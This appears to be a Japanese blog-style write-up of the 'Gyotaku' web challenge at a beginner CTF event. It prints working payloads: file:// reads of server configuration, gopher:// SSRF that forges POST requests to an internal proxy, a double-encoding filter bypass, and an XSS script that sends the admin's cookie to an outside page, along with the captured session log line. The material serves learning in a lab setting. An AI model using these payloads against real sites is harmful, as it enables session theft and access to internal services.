SECCON Beginners NEXT Web
Web
CTF4bのWebのまとめ
Web問は難問
来年のDEFCONは出題者が変わるみたいなのでWeb問も出るかも?
Gyotaku
作問:れっくすさんの問題
予習
適当にURLを打ち込むとそのソースコードを表示してくれる。
いろいろなURLをいれるとわかることがある。
http://8.8.8.8/ http://a.i.u/ http://google.com/<a>test</a> http://google.com/<script>alert('1')</script>
まず1番目に関してはForbiddenとなるので、なにか入力したもののチェックが行われていることがわかる。
2番目に関しては存在しないURLだが、Gyotaku結果にcurl: (6) Could not resolve host: a.i.u
と出る。内部でcurlが使われているらしい。
3番目は表示されるが、4番目に関してはForbiddenになるのでタグに関してもチェックが行われている感じ
Posted gyotakus are checked by admin という表示があるのでXSSして管理者にアクセスさせるんだろうなという問題であることが予想できる
本番
curlの知らない機能たち
- fileプロトコルが使える
- gopherってプロトコルがcurlで使えてPOSTが遅れる
http://{A,B}.com
はhttp://A.com
とhttp://B.com
のように展開して送信される
全てman curl
に書いてある機能、これらを使ってXSSを行う
gopherを使ってpost通信する
gopherとはGolangのやつではなくプロトコルである。
ブラウザが主流となる前に使われていたプロトコルだが今は全然ないらしい
POST送信の中身をそのままgopherで使えばいいらしい
POST /new HTTP/ 1.1 Host: ほすとねーむ Content-Type: application/x-www-form-urlencoded Content-Length: 5 url=x
というPOSTを送りたかったら
gopher://ほすとねーむ/_POST%20/new%20HTP/1.1%0d%0aHost:%20ほすとねーむ%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x
確認したかったら、以下のコマンドを別々の端末で打てばPOST通信ができていることがわかる。
$ nc -l -p 10000 $ curl gopher://localhost:10000/_POST%20/new%20HTP/1.1%0d%0aHost:%20localhost:10000%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x
Gyotakuの脆弱性をつく
curlのfileコマンドを使ってapcheの設定ファイルをリークすると127.0.0.1:9999にリバースプロキシがあることがわかる。
これを利用し127.0.0.1:9999にgopherのプロトコルでPOST通信ができればXSSさせることができそう。
GyotakuにPOST通信
上の要領でgopherのPOST通信をごりごり書く
gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=自分のページ
こんな感じでうまく行く。後はscriptを書き込む。
GyotakuでXSS
POST通信の時にがっつりカットしたけどチェックされそうな部分を%エンコードしていく。
タグ等は1回はパーセントから戻されるので<
を%253c
としておくと1回デコードされて%3c
となってチェックをすり抜けられる。
gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=%253cscript>location.href="自分のページ/%3fa="%252bdocument%252ecookie%253c/script>
クッキー入手
"GET /?a=session=293e53ca013fb6ece2ef7d773905495e503bf3ba38781363a504b21f0a3248e3 HTTP/1.1" 200 2425 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.113 HeadlessChrome/60.0.3112.113 Safari/537.36"
こんな感じでクッキー入手、後は書き換えてflagも手に入ります。
感想
POST送信系統がめんどい、既にWriteup書いてた方のようにshellscriptとかpythonで書いた方がミスが少ないと思います。 Gyotakuのシステムでは送信できていれば送信途中までのPOSTが現れるのでそれを頼りになおしていくといい。Webはやはりいろいろ知識がいるなぁと
解答に関してですがrequestb.inは相性が悪いらしいので自分はawsを使いました。awsのelastic IPだとめんどいのでパブリックDNSを使ったほうがいい感じになると思います。
もっと強くなりたい。